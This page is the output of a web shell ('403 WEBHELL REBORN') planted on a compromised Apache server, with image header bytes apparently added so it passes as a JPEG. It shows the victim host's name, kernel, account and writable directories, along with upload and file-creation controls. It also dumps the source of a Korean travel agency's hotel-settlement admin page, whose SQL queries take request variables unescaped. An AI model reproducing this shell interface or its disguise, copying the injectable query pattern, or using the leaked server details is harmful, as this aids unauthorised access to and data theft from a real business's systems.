ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/calculate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/calculate/hotel_cal.html
<?
include "../include/top.html";
include "_common.php";

if(!$date_s) $date_s="room_date";
if(!$d_start_s1) $d_start_s1 = date("Y-m-")."01"; // 기간 검색
if(!$d_start_s2) $d_start_s2 = date("Y-m-d",strtotime(" +4 month")); // 기간 검색


//테이블명
$table = "TB_RES_HOTEL";


// 항공사 목록
$airticket_data = to_airticket_airline();

// 검색 설정
$sql_where = "  ";
if ( $d_start_s1 and $d_start_s2 ) $sql_where .= " and a.{$date_s} between '{$d_start_s1}' and '{$d_start_s2}'  ";// 입실일


// 리스트 수 가져옴
$sql = "select count(*) as total from TB_RES_HOTEL a,  ";
$sql .= " ( SELECT d1.*,d2.pgcase_cd ";
$sql .= "		FROM TB_RES_HOTEL AS d1 ";
$sql .= "					LEFT JOIN (SELECT res_no,pgcase_cd,delflag FROM TB_ACCOUNT_CUSTOMER  WHERE pgcase_cd IN ('inst001','inst002') ) d2 ";
$sql .= "					ON d1.res_no=d2.res_no AND d2.delflag='N' ";
$sql .= ") b ";
$sql .= " where  a.res_no=b.res_no {$sql_where} ";

$row = db_fetch($sql);
$total = $row[total];

// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = 50; // 보여줄 갯수
$list = 10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1);

// 정렬 설정
$sql_order="";

$limit = " $olds , $line ";

//배열에 저장
$data = array();
$data = res_hotel_master(str_replace($sql_where,"a.",""),$sql_order,$limit);
###print_r2(res_hotel_master_replace($data[0]));
?>
    <div class="contents_wrap">
    <div class="contents_wrap_in">
    	<div class="title">호텔/숙박 예약목록</div>
      <div class="contents_detail">

      <ul class="register_tab">
				<li class="on"><a href="../calculate/hotel_cal.html">예약별 정산</a></li>
				<li><a href="../calculate/hotel_profit_checkindt.html">입실일별 수익현황</a></li>
				<li><a href="../calculate/hotel_profit_reserv.html">예약일별 수익현황</a></li>
				<li><a href="../calculate/hotel_profit_admin.html">담당자별 수익현황</a></li>
				<li><a href="../calculate/hotel_profit_depart.html">부서별 수익현황</a></li>
				<li><a href="../calculate/hotel_profit_brench.html">지점별 수익현황</a></li>
			</ul>

			<!-- 폼 -->
			<form name="frm_search" id="frm_search" method="get">
      <div class="c_top_bar">


				<ul class="c_top_search">
					<li>
						<select name="date_s">
							<option value="room_date" <?=($date_s=="room_date")?"selected":""?>>입실일</option>
							<option value="ins_dt" <?=($date_s=="ins_dt")?"selected":""?>>예약일</option>
						</select>
					</li>
					<li>
						<input type="text" name="d_start_s1" class="cal_input" value="<?=$d_start_s1?>" size="15" onclick="AjaxCal(this,event);" readonly> 
						~ <input type="text" name="d_start_s2" class="cal_input" value="<?=$d_start_s2?>" size="15" onclick="AjaxCal(this,event);" readonly> 
					</li>
					<li>
					<input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_btn_search" />
					</li>
				</ul>

      </div>
			</form>
			<!-- /폼 -->

      <div class="hotel_wrap">
				
				<ul class="product_res">
        <li class="lo_left"  style="width:100%;">
				<!-- 폼 -->
        <h2 class="mt35"></h2>
					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_list">
					<thead>
					<tr>
					<td colspan="33" class="t_top_line"></td>
					</tr>
					<tr>
					<th width="30px">No.</th>
					<th width="60px">예약상태</th>
					<th width="50px">입금상태</th>
					<th>예약자</th>
					<th width="240px">호텔명/룸타입</th>
					<th width="80px">입실일</th>
					<th width="50px">박수/룸수</th>
					<th width="80px">판매액</th>
					<th width="80px">입금액</th>	
					<th width="80px">총비용</th>
					<th width="80px">수수료수익</th>
					<th width="80px">총수익</th>
					<th width="65px">담당자</th>
					<th width="50px">-</th>
					</tr>
					</thead>
					<tbody>
					<?
					// 합계액 리셋
					$gnd_sales			= 0;
					$gnd_pay				= 0;
					$gnd_exes				= 0;
					$gnd_comm				= 0;
					$gnd_incom			= 0;
					$gnd_d_people2	= 0;
					$gnd_d_people1	= 0;
					for($i=0 ; $i < count($data) ; $i++)
					{
						$row = res_hotel_master_replace($data[$i]);
						$num = $total - ($page - 1) * $line - $i;

						// 합계
						$gnd_sales			+= $row['price_total'];
						$gnd_pay				+= $row['account']['pay_money'];

						// 예약확정, 미납요금이 '0' 이면 정산가능
						$button_acc = "";
						$acc_data = array();
						if ( $row['res_stat_cd'] == "C" )
						{
							$button_acc = "<input type='button' class='btn_orange_left' value='정산' ";
							$button_acc .= " onclick=\"to_dialog.iframe('hotel_cal_res.html?res_no={$row[res_no]}','개별정산 - {$row[res_no]}','900','500',true,true,'yes');\" ";
							$button_acc .="><span class='btn_orange_right'></span>";


						// 정산정보
						$acc_data = acc_hotel_date($row['res_no']);

						// 합계
						$gnd_exes				+= $acc_data['calu']['exes_tot'] ;
						$gnd_comm				+= $acc_data['calu']['comm_tot'] ;
						$gnd_incom			+= $acc_data['calu']['incom_tot'] ;
						}
					?>
					<tr>
					<td><?=$num?></td>
					<td><font color="<?=$row['res_stat_color']?>"><?=$row['res_stat_str']?></font></td>
					<td><?=$row['res_mrecv_str']?></td>
					<td><?=$row['res_cust_nm']?></td>
					<td style="text-align:left;" title="<?=$row['hnm']?>"><a href="javascript:;"  onclick="to_dialog.iframe('../res_hotel/hotel_res_edit.html?res_no=<?=$row['res_no']?>','호텔예약 수정 - <?=$row['res_no']?>','1100','700',true,true,'yes');"><b><?=$row['hnm']?></b><br><?=$row['rnm']?></a></td>
					<td><?=$row['room_date']?></td>
					<td><?=$row['room_day']?>/<?=$row['room_cnt']?></td>
					<td style="text-align:right;padding-right:10px;"><?=number_format($row['sales_total'])?></td>
					<td style="text-align:right;padding-right:10px;"><?=number_format($row['account']['pay_money'])?></td>
					<td style="text-align:right;padding-right:10px;"><?=number_format($acc_data['calu']['exes_tot'])?></td><!-- 총비용 -->
					<td style="text-align:right;padding-right:10px;"><?=number_format($acc_data['calu']['comm_tot'])?></td><!-- 수수료수익 -->
					<td style="text-align:right;padding-right:10px;"><?=number_format($acc_data['calu']['incom_tot'])?></td><!-- 총수익 -->
					<td><?=$row['admin_nm']?></td>
					<td><input type='button' class='btn_orange_left' value='정산' "; onclick="to_dialog.iframe('hotel_cal_res.html?res_no=<?=$row[res_no]?>','개별정산 - <?=$row[res_no]?>','900','500',true,true,'yes');" ><span class='btn_orange_right'></span></td>
					</tr>
					<?
					}
					?>
					</tbody>
					</table>


					<?
						echo adm_get_paging($total_page, $page, $list, "?$bhref&page=", "");
					?>

				</li>

        </ul>

        </div>
      </div>
      </div>


		</div>
    </div>
<script type="text/javascript">
var res_ticket_num,res_air_num;

$(document).ready(function(){

	$(".mouse_over").bind({
		mouseover:function(e){ $(this).css({"background-color":"#D7D7D7","cursor":"pointer"}); },
		mouseout:function(e){ $(this).css("background-color","#FFFFFF"); }
	});


});
</script>
<? include "../include/footer.html" ?>


Anon7 - 2021